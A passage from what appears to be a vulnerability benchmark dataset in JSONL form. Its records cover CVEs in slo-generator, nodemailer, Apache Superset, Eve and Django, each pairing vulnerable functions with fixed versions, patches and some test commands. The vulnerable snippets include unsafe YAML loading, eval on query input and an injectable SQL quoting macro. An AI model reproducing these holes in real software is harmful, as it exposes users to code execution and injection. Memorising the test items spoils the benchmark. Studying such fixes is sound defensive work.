a/services/web/app/src/router.js\n+++ b/services/web/app/src/router.js\n@@ -1,5 +1,5 @@\n   webRouter.post(\n     '/spelling/check',\n     AuthenticationController.requireLogin(),\n-    SpellingController.proxyRequestToSpellingApi\n+    SpellingController.proxyCheckRequestToSpellingApi\n   )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-22557", "cve_description": "SLO generator allows for loading of YAML files that if crafted in a specific format can allow for code execution within the context of the SLO Generator. We recommend upgrading SLO Generator past https://github.com/google/slo-generator/pull/173", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/google/slo-generator", "patch_url": ["https://github.com/google/slo-generator/commit/36318beab1b85d14bb860e45bea186b184690d5d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_266_1", "commit": "50ce1bf", "file_path": "slo_generator/migrations/migrator.py", "start_line": 215, "end_line": 247, "snippet": "def exporters_v1tov2(exporters_paths, shared_config={}, quiet=False):\n    \"\"\"Translate exporters to v2 and put into shared config.\n\n    Args:\n        exporters_path (list): List of exporters file paths.\n        shared_config (dict): Shared config to add exporters to.\n        quiet (bool): Quiet mode.\n\n    Returns:\n        list: List of exporters keys added to shared config.\n    \"\"\"\n    exp_keys = []\n    for exp_path in exporters_paths:\n        with open(exp_path, encoding='utf-8') as conf:\n            content = yaml.load(conf, Loader=yaml.Loader)\n        exporters = content\n\n        # If exporters file has sections, concatenate all of them\n        if isinstance(content, dict):\n            exporters = []\n            for _, value in content.items():\n                exporters.extend(value)\n\n        # If exporter not in general config, add it and add an alias for the\n        # exporter. Refer to the alias in the SLO config file.\n        for exporter in exporters:\n            exporter = OrderedDict(exporter)\n            exp_key = add_to_shared_config(exporter,\n                                           shared_config,\n                                           'exporters',\n                                           quiet=quiet)\n            exp_keys.append(exp_key)\n    return exp_keys"}, {"id": "vul_py_266_2", "commit": "50ce1bf", "file_path": "slo_generator/migrations/migrator.py", "start_line": 250, "end_line": 285, "snippet": "def ebp_v1tov2(ebp_paths, shared_config={}, quiet=False):\n    \"\"\"Translate error budget policies to v2 and put into shared config\n\n    Args:\n        ebp_paths (list): List of error budget policies file paths.\n        shared_config (dict): Shared config to add exporters to.\n        quiet (bool): Quiet mode.\n\n    Returns:\n        list: List of error budget policies keys added to shared config.\n    \"\"\"\n    ebp_keys = []\n    for ebp_path in ebp_paths:\n        with open(ebp_path, encoding='utf-8') as conf:\n            error_budget_policy = yaml.load(conf, Loader=yaml.Loader)\n        for step in error_budget_policy:\n            step['name'] = step.pop('error_budget_policy_step_name')\n            step['burn_rate_threshold'] = step.pop(\n                'alerting_burn_rate_threshold')\n            step['alert'] = step.pop('urgent_notification')\n            step['message_alert'] = step.pop('overburned_consequence_message')\n            step['message_ok'] = step.pop('achieved_consequence_message')\n            step['window'] = step.pop('measurement_window_seconds')\n\n        ebp = {'steps': error_budget_policy}\n        if ebp_path.name == 'error_budget_policy.yaml':\n            ebp_key = 'default'\n        else:\n            ebp_key = ebp_path.stem.replace('error_budget_policy_', '')\n        ebp_key = add_to_shared_config(ebp,\n                                       shared_config,\n                                       'error_budget_policies',\n                                       ebp_key,\n                                       quiet=quiet)\n        ebp_keys.append(ebp_key)\n    return ebp_keys"}], "fix_func": [{"id": "fix_py_266_1", "commit": "36318be", "file_path": "slo_generator/migrations/migrator.py", "start_line": 215, "end_line": 247, "snippet": "def exporters_v1tov2(exporters_paths, shared_config={}, quiet=False):\n    \"\"\"Translate exporters to v2 and put into shared config.\n\n    Args:\n        exporters_path (list): List of exporters file paths.\n        shared_config (dict): Shared config to add exporters to.\n        quiet (bool): Quiet mode.\n\n    Returns:\n        list: List of exporters keys added to shared config.\n    \"\"\"\n    exp_keys = []\n    for exp_path in exporters_paths:\n        with open(exp_path, encoding='utf-8') as conf:\n            content = yaml.load(conf, Loader=yaml.SafeLoader)\n        exporters = content\n\n        # If exporters file has sections, concatenate all of them\n        if isinstance(content, dict):\n            exporters = []\n            for _, value in content.items():\n                exporters.extend(value)\n\n        # If exporter not in general config, add it and add an alias for the\n        # exporter. Refer to the alias in the SLO config file.\n        for exporter in exporters:\n            exporter = OrderedDict(exporter)\n            exp_key = add_to_shared_config(exporter,\n                                           shared_config,\n                                           'exporters',\n                                           quiet=quiet)\n            exp_keys.append(exp_key)\n    return exp_keys"}, {"id": "fix_py_266_2", "commit": "36318be", "file_path": "slo_generator/migrations/migrator.py", "start_line": 250, "end_line": 285, "snippet": "def ebp_v1tov2(ebp_paths, shared_config={}, quiet=False):\n    \"\"\"Translate error budget policies to v2 and put into shared config\n\n    Args:\n        ebp_paths (list): List of error budget policies file paths.\n        shared_config (dict): Shared config to add exporters to.\n        quiet (bool): Quiet mode.\n\n    Returns:\n        list: List of error budget policies keys added to shared config.\n    \"\"\"\n    ebp_keys = []\n    for ebp_path in ebp_paths:\n        with open(ebp_path, encoding='utf-8') as conf:\n            error_budget_policy = yaml.load(conf, Loader=yaml.SafeLoader)\n        for step in error_budget_policy:\n            step['name'] = step.pop('error_budget_policy_step_name')\n            step['burn_rate_threshold'] = step.pop(\n                'alerting_burn_rate_threshold')\n            step['alert'] = step.pop('urgent_notification')\n            step['message_alert'] = step.pop('overburned_consequence_message')\n            step['message_ok'] = step.pop('achieved_consequence_message')\n            step['window'] = step.pop('measurement_window_seconds')\n\n        ebp = {'steps': error_budget_policy}\n        if ebp_path.name == 'error_budget_policy.yaml':\n            ebp_key = 'default'\n        else:\n            ebp_key = ebp_path.stem.replace('error_budget_policy_', '')\n        ebp_key = add_to_shared_config(ebp,\n                                       shared_config,\n                                       'error_budget_policies',\n                                       ebp_key,\n                                       quiet=quiet)\n        ebp_keys.append(ebp_key)\n    return ebp_keys"}], "vul_patch": "--- a/slo_generator/migrations/migrator.py\n+++ b/slo_generator/migrations/migrator.py\n@@ -12,7 +12,7 @@\n     exp_keys = []\n     for exp_path in exporters_paths:\n         with open(exp_path, encoding='utf-8') as conf:\n-            content = yaml.load(conf, Loader=yaml.Loader)\n+            content = yaml.load(conf, Loader=yaml.SafeLoader)\n         exporters = content\n \n         # If exporters file has sections, concatenate all of them\n\n--- a/slo_generator/migrations/migrator.py\n+++ b/slo_generator/migrations/migrator.py\n@@ -12,7 +12,7 @@\n     ebp_keys = []\n     for ebp_path in ebp_paths:\n         with open(ebp_path, encoding='utf-8') as conf:\n-            error_budget_policy = yaml.load(conf, Loader=yaml.Loader)\n+            error_budget_policy = yaml.load(conf, Loader=yaml.SafeLoader)\n         for step in error_budget_policy:\n             step['name'] = step.pop('error_budget_policy_step_name')\n             step['burn_rate_threshold'] = step.pop(\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-23400", "cve_description": "The package nodemailer before 6.6.1 are vulnerable to HTTP Header Injection if unsanitized user input that may contain newlines and carriage returns is passed into an address object.", "cwe_info": {"CWE-74": {"name": "Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')", "description": "The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component."}}, "repo": "https://github.com/nodemailer/nodemailer", "patch_url": ["https://github.com/nodemailer/nodemailer/commit/7e02648cc8cd863f5085bad3cd09087bccf84b9f"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_137_1", "commit": "1750c0f", "file_path": "lib/mime-node/index.js", "start_line": 1140, "end_line": 1168, "snippet": "    _convertAddresses(addresses, uniqueList) {\n        let values = [];\n\n        uniqueList = uniqueList || [];\n\n        [].concat(addresses || []).forEach(address => {\n            if (address.address) {\n                address.address = this._normalizeAddress(address.address);\n\n                if (!address.name) {\n                    values.push(address.address);\n                } else if (address.name) {\n                    values.push(this._encodeAddressName(address.name) + ' <' + address.address + '>');\n                }\n\n                if (address.address) {\n                    if (!uniqueList.filter(a => a.address === address.address).length) {\n                        uniqueList.push(address);\n                    }\n                }\n            } else if (address.group) {\n                values.push(\n                    this._encodeAddressName(address.name) + ':' + (address.group.length ? this._convertAddresses(address.group, uniqueList) : '').trim() + ';'\n                );\n            }\n        });\n\n        return values.join(', ');\n    }"}, {"id": "vul_js_137_2", "commit": "1750c0f", "file_path": "lib/mime-node/index.js", "start_line": 1176, "end_line": 1193, "snippet": "    _normalizeAddress(address) {\n        address = (address || '').toString().trim();\n\n        let lastAt = address.lastIndexOf('@');\n        if (lastAt < 0) {\n            // Bare username\n            return address;\n        }\n        let user = address.substr(0, lastAt);\n        let domain = address.substr(lastAt + 1);\n\n        // Usernames are not touched and are kept as is even if these include unicode\n        // Domains are punycoded by default\n        // 'j\\u00f5geva.ee' will be converted to 'xn--jgeva-dua.ee'\n        // non-unicode domains are left as is\n\n        return user + '@' + punycode.toASCII(domain.toLowerCase());\n    }"}], "fix_func": [{"id": "fix_js_137_1", "commit": "7e02648", "file_path": "lib/mime-node/index.js", "start_line": 1140, "end_line": 1167, "snippet": "    _convertAddresses(addresses, uniqueList) {\n        let values = [];\n\n        uniqueList = uniqueList || [];\n\n        [].concat(addresses || []).forEach(address => {\n            if (address.address) {\n                address.address = this._normalizeAddress(address.address);\n\n                if (!address.name) {\n                    values.push(address.address.indexOf(' ') >= 0 ? `<${address.address}>` : `${address.address}`);\n                } else if (address.name) {\n                    values.push(`${this._encodeAddressName(address.name)} <${address.address}>`);\n                }\n\n                if (address.address) {\n                    if (!uniqueList.filter(a => a.address === address.address).length) {\n                        uniqueList.push(address);\n                    }\n                }\n            } else if (address.group) {\n                let groupListAddresses = (address.group.length ? this._convertAddresses(address.group, uniqueList) : '').trim();\n                values.push(`${this._encodeAddressName(address.name)}:${groupListAddresses};`);\n            }\n        });\n\n        return values.join(', ');\n    }"}, {"id": "fix_js_137_2", "commit": "7e02648", "file_path": "lib/mime-node/index.js", "start_line": 1175, "end_line": 1213, "snippet": "    _normalizeAddress(address) {\n        address = (address || '')\n            .toString()\n            .replace(/[\\x00-\\x1F<>]+/g, ' ') // remove unallowed characters\n            .trim();\n\n        let lastAt = address.lastIndexOf('@');\n        if (lastAt < 0) {\n            // Bare username\n            return address;\n        }\n\n        let user = address.substr(0, lastAt);\n        let domain = address.substr(lastAt + 1);\n\n        // Usernames are not touched and are kept as is even if these include unicode\n        // Domains are punycoded by default\n        // 'j\\u00f5geva.ee' will be converted to 'xn--jgeva-dua.ee'\n        // non-unicode domains are left as is\n\n        let encodedDomain;\n\n        try {\n            encodedDomain = punycode.toASCII(domain.toLowerCase());\n        } catch (err) {\n            // keep as is?\n        }\n\n        if (user.indexOf(' ') >= 0) {\n            if (user.charAt(0) !== '\"') {\n                user = '\"' + user;\n            }\n            if (user.substr(-1) !== '\"') {\n                user = user + '\"';\n            }\n        }\n\n        return `${user}@${encodedDomain}`;\n    }"}], "vul_patch": "--- a/lib/mime-node/index.js\n+++ b/lib/mime-node/index.js\n@@ -8,9 +8,9 @@\n                 address.address = this._normalizeAddress(address.address);\n \n                 if (!address.name) {\n-                    values.push(address.address);\n+                    values.push(address.address.indexOf(' ') >= 0 ? `<${address.address}>` : `${address.address}`);\n                 } else if (address.name) {\n-                    values.push(this._encodeAddressName(address.name) + ' <' + address.address + '>');\n+                    values.push(`${this._encodeAddressName(address.name)} <${address.address}>`);\n                 }\n \n                 if (address.address) {\n@@ -19,9 +19,8 @@\n                     }\n                 }\n             } else if (address.group) {\n-                values.push(\n-                    this._encodeAddressName(address.name) + ':' + (address.group.length ? this._convertAddresses(address.group, uniqueList) : '').trim() + ';'\n-                );\n+                let groupListAddresses = (address.group.length ? this._convertAddresses(address.group, uniqueList) : '').trim();\n+                values.push(`${this._encodeAddressName(address.name)}:${groupListAddresses};`);\n             }\n         });\n \n\n--- a/lib/mime-node/index.js\n+++ b/lib/mime-node/index.js\n@@ -1,11 +1,15 @@\n     _normalizeAddress(address) {\n-        address = (address || '').toString().trim();\n+        address = (address || '')\n+            .toString()\n+            .replace(/[\\x00-\\x1F<>]+/g, ' ') // remove unallowed characters\n+            .trim();\n \n         let lastAt = address.lastIndexOf('@');\n         if (lastAt < 0) {\n             // Bare username\n             return address;\n         }\n+\n         let user = address.substr(0, lastAt);\n         let domain = address.substr(lastAt + 1);\n \n@@ -14,5 +18,22 @@\n         // 'j\\u00f5geva.ee' will be converted to 'xn--jgeva-dua.ee'\n         // non-unicode domains are left as is\n \n-        return user + '@' + punycode.toASCII(domain.toLowerCase());\n+        let encodedDomain;\n+\n+        try {\n+            encodedDomain = punycode.toASCII(domain.toLowerCase());\n+        } catch (err) {\n+            // keep as is?\n+        }\n+\n+        if (user.indexOf(' ') >= 0) {\n+            if (user.charAt(0) !== '\"') {\n+                user = '\"' + user;\n+            }\n+            if (user.substr(-1) !== '\"') {\n+                user = user + '\"';\n+            }\n+        }\n+\n+        return `${user}@${encodedDomain}`;\n     }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-49736", "cve_description": "A where_in JINJA macro allows users to specify a quote, which combined with a carefully crafted statement\u00a0would allow for SQL injection\u00a0in Apache Superset.This issue affects Apache Superset: before 2.1.2, from 3.0.0 before 3.0.2.\n\nUsers are recommended to upgrade to version 3.0.2, which fixes the issue.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/apache/superset", "patch_url": ["https://github.com/apache/superset/commit/1d403dab9822a8cee6108669c53e53fad881c751", "https://github.com/apache/superset/commit/34101594e284ab3acce692f41aff7759ccb4bf1d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_19_1", "commit": "2f46890", "file_path": "superset/jinja_context.py", "start_line": 400, "end_line": 416, "snippet": "def where_in(values: list[Any], mark: str = \"'\") -> str:\n    \"\"\"\n    Given a list of values, build a parenthesis list suitable for an IN expression.\n\n        >>> where_in([1, \"b\", 3])\n        (1, 'b', 3)\n\n    \"\"\"\n\n    def quote(value: Any) -> str:\n        if isinstance(value, str):\n            value = value.replace(mark, mark * 2)\n            return f\"{mark}{value}{mark}\"\n        return str(value)\n\n    joined_values = \", \".join(quote(value) for value in values)\n    return f\"({joined_values})\""}, {"id": "vul_py_19_2", "commit": "2f46890", "file_path": "superset/jinja_context.py", "start_line": 427, "end_line": 452, "snippet": "    def __init__(\n        self,\n        database: \"Database\",\n        query: Optional[\"Query\"] = None,\n        table: Optional[\"SqlaTable\"] = None,\n        extra_cache_keys: Optional[list[Any]] = None,\n        removed_filters: Optional[list[str]] = None,\n        applied_filters: Optional[list[str]] = None,\n        **kwargs: Any,\n    ) -> None:\n        self._database = database\n        self._query = query\n        self._schema = None\n        if query and query.schema:\n            self._schema = query.schema\n        elif table:\n            self._schema = table.schema\n        self._extra_cache_keys = extra_cache_keys\n        self._applied_filters = applied_filters\n        self._removed_filters = removed_filters\n        self._context: dict[str, Any] = {}\n        self._env = SandboxedEnvironment(undefined=DebugUndefined)\n        self.set_context(**kwargs)\n\n        # custom filters\n        self._env.filters[\"where_in\"] = where_in"}], "fix_func": [{"id": "fix_py_19_1", "commit": "1d403da", "file_path": "superset/jinja_context.py", "start_line": 401, "end_line": 433, "snippet": "class WhereInMacro:  # pylint: disable=too-few-public-methods\n    def __init__(self, dialect: Dialect):\n        self.dialect = dialect\n\n    def __call__(self, values: list[Any], mark: Optional[str] = None) -> str:\n        \"\"\"\n        Given a list of values, build a parenthesis list suitable for an IN expression.\n\n            >>> from sqlalchemy.dialects import mysql\n            >>> where_in = WhereInMacro(dialect=mysql.dialect())\n            >>> where_in([1, \"Joe's\", 3])\n            (1, 'Joe''s', 3)\n\n        \"\"\"\n        binds = [bindparam(f\"value_{i}\", value) for i, value in enumerate(values)]\n        string_representations = [\n            str(\n                bind.compile(\n                    dialect=self.dialect, compile_kwargs={\"literal_binds\": True}\n                )\n            )\n            for bind in binds\n        ]\n        joined_values = \", \".join(string_representations)\n        result = f\"({joined_values})\"\n\n        if mark:\n            result += (\n                \"\\n-- WARNING: the `mark` parameter was removed from the `where_in` \"\n                \"macro for security reasons\\n\"\n            )\n\n        return result"}, {"id": "fix_py_19_2", "commit": "1d403da", "file_path": "superset/jinja_context.py", "start_line": 444, "end_line": 469, "snippet": "    def __init__(\n        self,\n        database: \"Database\",\n        query: Optional[\"Query\"] = None,\n        table: Optional[\"SqlaTable\"] = None,\n        extra_cache_keys: Optional[list[Any]] = None,\n        removed_filters: Optional[list[str]] = None,\n        applied_filters: Optional[list[str]] = None,\n        **kwargs: Any,\n    ) -> None:\n        self._database = database\n        self._query = query\n        self._schema = None\n        if query and query.schema:\n            self._schema = query.schema\n        elif table:\n            self._schema = table.schema\n        self._extra_cache_keys = extra_cache_keys\n        self._applied_filters = applied_filters\n        self._removed_filters = removed_filters\n        self._context: dict[str, Any] = {}\n        self._env = SandboxedEnvironment(undefined=DebugUndefined)\n        self.set_context(**kwargs)\n\n        # custom filters\n        self._env.filters[\"where_in\"] = WhereInMacro(database.get_dialect())"}], "vul_patch": "--- a/superset/jinja_context.py\n+++ b/superset/jinja_context.py\n@@ -1,17 +1,33 @@\n-def where_in(values: list[Any], mark: str = \"'\") -> str:\n-    \"\"\"\n-    Given a list of values, build a parenthesis list suitable for an IN expression.\n+class WhereInMacro:  # pylint: disable=too-few-public-methods\n+    def __init__(self, dialect: Dialect):\n+        self.dialect = dialect\n \n-        >>> where_in([1, \"b\", 3])\n-        (1, 'b', 3)\n+    def __call__(self, values: list[Any], mark: Optional[str] = None) -> str:\n+        \"\"\"\n+        Given a list of values, build a parenthesis list suitable for an IN expression.\n \n-    \"\"\"\n+            >>> from sqlalchemy.dialects import mysql\n+            >>> where_in = WhereInMacro(dialect=mysql.dialect())\n+            >>> where_in([1, \"Joe's\", 3])\n+            (1, 'Joe''s', 3)\n \n-    def quote(value: Any) -> str:\n-        if isinstance(value, str):\n-            value = value.replace(mark, mark * 2)\n-            return f\"{mark}{value}{mark}\"\n-        return str(value)\n+        \"\"\"\n+        binds = [bindparam(f\"value_{i}\", value) for i, value in enumerate(values)]\n+        string_representations = [\n+            str(\n+                bind.compile(\n+                    dialect=self.dialect, compile_kwargs={\"literal_binds\": True}\n+                )\n+            )\n+            for bind in binds\n+        ]\n+        joined_values = \", \".join(string_representations)\n+        result = f\"({joined_values})\"\n \n-    joined_values = \", \".join(quote(value) for value in values)\n-    return f\"({joined_values})\"\n+        if mark:\n+            result += (\n+                \"\\n-- WARNING: the `mark` parameter was removed from the `where_in` \"\n+                \"macro for security reasons\\n\"\n+            )\n+\n+        return result\n\n--- a/superset/jinja_context.py\n+++ b/superset/jinja_context.py\n@@ -23,4 +23,4 @@\n         self.set_context(**kwargs)\n \n         # custom filters\n-        self._env.filters[\"where_in\"] = where_in\n+        self._env.filters[\"where_in\"] = WhereInMacro(database.get_dialect())\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-49736:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/superset\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-49736/bin/python -m pytest tests/unit_tests/jinja_context_test.py::test_where_in -v\n", "unit_test_cmd": null}
{"cve_id": "CVE-2018-8097", "cve_description": "io/mongo/parser.py in Eve (aka pyeve) before 0.7.5 allows remote attackers to execute arbitrary code via Code Injection in the where parameter.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pyeve/eve", "patch_url": ["https://github.com/pyeve/eve/commit/f8f7019ffdf9b4e05faf95e1f04e204aa4c91f98"], "programing_language": "Python", "vul_func": [{"id": "vul_py_221_1", "commit": "6d1526b", "file_path": "eve/io/mongo/parser.py", "start_line": 120, "end_line": 134, "snippet": "    def visit_Call(self, node):\n        \"\"\" A couple function calls are supported: bson's ObjectId() and\n        datetime().\n        \"\"\"\n        if isinstance(node.func, ast.Name):\n            expr = None\n            if node.func.id == 'ObjectId':\n                expr = \"('\" + node.args[0].s + \"')\"\n            elif node.func.id == 'datetime':\n                values = []\n                for arg in node.args:\n                    values.append(str(arg.n))\n                expr = \"(\" + \", \".join(values) + \")\"\n            if expr:\n                self.current_value = eval(node.func.id + expr)"}], "fix_func": [{"id": "fix_py_221_1", "commit": "f8f7019", "file_path": "eve/io/mongo/parser.py", "start_line": 120, "end_line": 137, "snippet": "    def visit_Call(self, node):\n        \"\"\" A couple function calls are supported: bson's ObjectId() and\n        datetime().\n        \"\"\"\n        if isinstance(node.func, ast.Name):\n            if node.func.id == 'ObjectId':\n                try:\n                    self.current_value = ObjectId(node.args[0].s)\n                except:\n                    pass\n            elif node.func.id == 'datetime':\n                values = []\n                for arg in node.args:\n                    values.append(arg.n)\n                try:\n                    self.current_value = datetime(*values)\n                except:\n                    pass"}], "vul_patch": "--- a/eve/io/mongo/parser.py\n+++ b/eve/io/mongo/parser.py\n@@ -3,13 +3,16 @@\n         datetime().\n         \"\"\"\n         if isinstance(node.func, ast.Name):\n-            expr = None\n             if node.func.id == 'ObjectId':\n-                expr = \"('\" + node.args[0].s + \"')\"\n+                try:\n+                    self.current_value = ObjectId(node.args[0].s)\n+                except:\n+                    pass\n             elif node.func.id == 'datetime':\n                 values = []\n                 for arg in node.args:\n-                    values.append(str(arg.n))\n-                expr = \"(\" + \", \".join(values) + \")\"\n-            if expr:\n-                self.current_value = eval(node.func.id + expr)\n+                    values.append(arg.n)\n+                try:\n+                    self.current_value = datetime(*values)\n+                except:\n+                    pass\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-39330", "cve_description": "An issue was discovered in Django 5.0 before 5.0.7 and 4.2 before 4.2.14. Derived classes of the django.core.files.storage.Storage base class, when they override generate_filename() without replicating the file-path validations from the parent class, potentially allow directory traversal via certain inputs during a save() call. (Built-in Storage sub-classes are unaffected.)", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/9f4f63e9ebb7bf6cb9547ee4e2526b9b96703270", "https://github.com/django/django/commit/2b00edc0151a660d1eb86da4059904a0fc4e095e"], "programing_language": "Python", "vul_func": [{"id": "vul_py_4_1", "commit": "156d318", "file_path": "django/core/files/storage/base.py", "start_line": 24, "end_line": 41, "snippet": "    def save(self, name, content, max_length=None):\n        \"\"\"\n        Save new content to the file specified by name. The content should be\n        a proper File object or any Python file-like object, ready to be read\n        from the beginning.\n        \"\"\"\n        # Get the proper name for the file, as it will actually be saved.\n        if name is None:\n            name = content.name\n\n        if not hasattr(content, \"chunks\"):\n            content = File(content, name)\n\n        name = self.get_available_name(name, max_length=max_length)\n        name = self._save(name, content)\n        # Ensure that the name returned from the storage system is still valid.\n        validate_file_name(name, allow_relative_path=True)\n        return name"}, {"id": "vul_py_4_2", "commit": "156d318", "file_path": "django/core/files/utils.py", "start_line": 7, "end_line": 24, "snippet": "def validate_file_name(name, allow_relative_path=False):\n    # Remove potentially dangerous names\n    if os.path.basename(name) in {\"\", \".\", \"..\"}:\n        raise SuspiciousFileOperation(\"Could not derive file name from '%s'\" % name)\n\n    if allow_relative_path:\n        # Use PurePosixPath() because this branch is checked only in\n        # FileField.generate_filename() where all file paths are expected to be\n        # Unix style (with forward slashes).\n        path = pathlib.PurePosixPath(name)\n        if path.is_absolute() or \"..\" in path.parts:\n            raise SuspiciousFileOperation(\n                \"Detected path traversal attempt in '%s'\" % name\n            )\n    elif name != os.path.basename(name):\n        raise SuspiciousFileOperation(\"File name '%s' includes path elements\" % name)\n\n    return name"}], "fix_func": [{"id": "fix_py_4_1", "commit": "2b00edc0151a660d1eb86da4059904a0fc4e095e", "file_path": "django/core/files/storage/base.py", "start_line": 24, "end_line": 52, "snippet": "    def save(self, name, content, max_length=None):\n        \"\"\"\n        Save new content to the file specified by name. The content should be\n        a proper File object or any Python file-like object, ready to be read\n        from the beginning.\n        \"\"\"\n        # Get the proper name for the file, as it will actually be saved.\n        if name is None:\n            name = content.name\n\n        if not hasattr(content, \"chunks\"):\n            content = File(content, name)\n\n        # Ensure that the name is valid, before and after having the storage\n        # system potentially modifying the name. This duplicates the check made\n        # inside `get_available_name` but it's necessary for those cases where\n        # `get_available_name` is overriden and validation is lost.\n        validate_file_name(name, allow_relative_path=True)\n\n        # Potentially find a different name depending on storage constraints.\n        name = self.get_available_name(name, max_length=max_length)\n        # Validate the (potentially) new name.\n        validate_file_name(name, allow_relative_path=True)\n\n        # The save operation should return the actual name of the file saved.\n        name = self._save(name, content)\n        # Ensure that the name returned from the storage system is still valid.\n        validate_file_name(name, allow_relative_path=True)\n        return name"}, {"id": "fix_py_4_2", "commit": "2b00edc0151a660d1eb86da4059904a0fc4e095e", "file_path": "django/core/files/utils.py", "start_line": 7, "end_line": 23, "snippet": "def validate_file_name(name, allow_relative_path=False):\n    # Remove potentially dangerous names\n    if os.path.basename(name) in {\"\", \".\", \"..\"}:\n        raise SuspiciousFileOperation(\"Could not derive file name from '%s'\" % name)\n\n    if allow_relative_path:\n        # Ensure that name can be treated as a pure posix path, i.e. Unix\n        # style (with forward slashes).\n        path = pathlib.PurePosixPath(str(name).replace(\"\\\\\", \"/\"))\n        if path.is_absolute() or \"..\" in path.parts:\n            raise SuspiciousFileOperation(\n                \"Detected path traversal attempt in '%s'\" % name\n            )\n    elif name != os.path.basename(name):\n        raise SuspiciousFileOperation(\"File name '%s' includes path elements\" % name)\n\n    return name"}], "vul_patch": "--- a/django/core/files/storage/base.py\n+++ b/django/core/files/storage/base.py\n@@ -11,7 +11,18 @@\n         if not hasattr(content, \"chunks\"):\n             content = File(content, name)\n \n+        # Ensure that the name is valid, before and after having the storage\n+        # system potentially modifying the name. This duplicates the check made\n+        # inside `get_available_name` but it's necessary for those cases where\n+        # `get_available_name` is overriden and validation is lost.\n+        validate_file_name(name, allow_relative_path=True)\n+\n+        # Potentially find a different name depending on storage constraints.\n         name = self.get_available_name(name, max_length=max_length)\n+        # Validate the (potentially) new name.\n+        validate_file_name(name, allow_relative_path=True)\n+\n+        # The save operation should return the actual name of the file saved.\n         name = self._save(name, content)\n         # Ensure that the name returned from the storage system is still valid.\n         validate_file_name(name, allow_relative_path=True)\n\n--- a/django/core/files/utils.py\n+++ b/django/core/files/utils.py\n@@ -4,10 +4,9 @@\n         raise SuspiciousFileOperation(\"Could not derive file name from '%s'\" % name)\n \n     if allow_relative_path:\n-        # Use PurePosixPath() because this branch is checked only in\n-        # FileField.generate_filename() where all file paths are expected to be\n-        # Unix style (with forward slashes).\n-        path = pathlib.PurePosixPath(name)\n+        # Ensure that name can be treated as a pure posix path, i.e. Unix\n+        # style (with forward slashes).\n+        path = pathlib.PurePosixPath(str(name).replace(\"\\\\\", \"/\"))\n         if path.is_absolute() or \"..\" in path.parts:\n             raise SuspiciousFileOperation(\n                 \"Detected path traversal attempt in '%s'\" % name\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-39330:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2024-39330/bin/python ./runtests.py file_storage.test_base file_storage.tests.FileStorageTests.test_file_save_broken_symlink file_uploads.tests.DirectoryCreationTests.test_not_a_directory", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2024-39330:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch /workspace/dep.patch\ncd tests && /workspace/PoC_env/CVE-2024-39330/bin/python ./runtests.py file_storage.tests file_uploads.tests"}
